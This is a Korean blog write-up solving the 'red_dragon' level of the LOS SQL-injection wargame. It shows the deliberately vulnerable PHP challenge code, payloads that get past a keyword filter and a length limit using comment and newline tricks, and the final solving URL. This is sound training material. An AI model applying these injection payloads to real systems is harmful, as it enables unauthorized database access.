문제는 다음과 같다
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
if(strlen($_GET['id']) > 7) exit("too long string");
$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
highlight_file(__FILE__);
?>
먼저 id와 no를 파라미터로 받을 수 있는데, id의 길이가 7을 넘으면 안된다.
따라서 최대한 짧게 했을 때 다음과 같이 쓸 수 있다.
id='||id=1#
하지만 이 또한 8글자가 되어 "too long string"이 출력된다.
이유 없이 제공되는 파라미터는 없다! no 파라미터를 노려보았다.
가장 먼저 생각해본 것은 is_numeric 함수의 취약점을 이용하여 문자열을 입력해보려하였다.
그래서 아래와 같이 시도하였다.
id=%27||&no=0x277c7c2761646d696e27
여기서 no 부분은 '||'admin'를 hex로 나타낸 것으로 내가 생각한 쿼리는 아래와 같다.
select id from prob_red_dragon where id=''||' and no='||'admin'
그 결과 admin이 출력될거라 생각하였다.
하지만.. 해당 방법으로는 풀리지 않았다.
그러다 이전에 개행문자를 이용한 문제가 있었던 것을 기억하여 이를 이용해보고자 하였다.
no 부분에는 숫자만 적을 수 있다는 생각을 바탕으로 진행하여, id 부분에 필요한 것을 다 적으려고 하였다.
여기서 삽질을 하다 물꼬가 틀렸다.
query : select id from prob_red_dragon where id=''||no>#' and no= 1
id 부분을 '으로 막아주고 or 문자 입력 후 no 파라미터 적은 후 = 혹은 >를 적고 no 부분에는 개행문자와 함께 숫자를 적어주었다.
그 결과 [ id=''||no>1 ]이 되어 admin이 출력된 것을 볼 수 있다.
이를 통해 admin의 no를 획득할 수 있다.
위의 결과 Hello Admin이 출력되었으므로 admin의 no는 586482014임을 알 수 있다.
답 : https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?no=586482014
'Solve Problem > LOS' 카테고리의 다른 글
[LOS] GREEN_DRAGON 문제 풀이 (0) | 2019.06.09 |
---|---|
[LOS] EVIL_WIZARD 문제 풀이 (0) | 2019.06.09 |
[LOS] hell_fire 문제 풀이 (0) | 2019.06.09 |
[LOS] dark_eyes 문제풀이 (0) | 2019.06.02 |
[LOS] iron_golem 문제풀이 (0) | 2019.05.26 |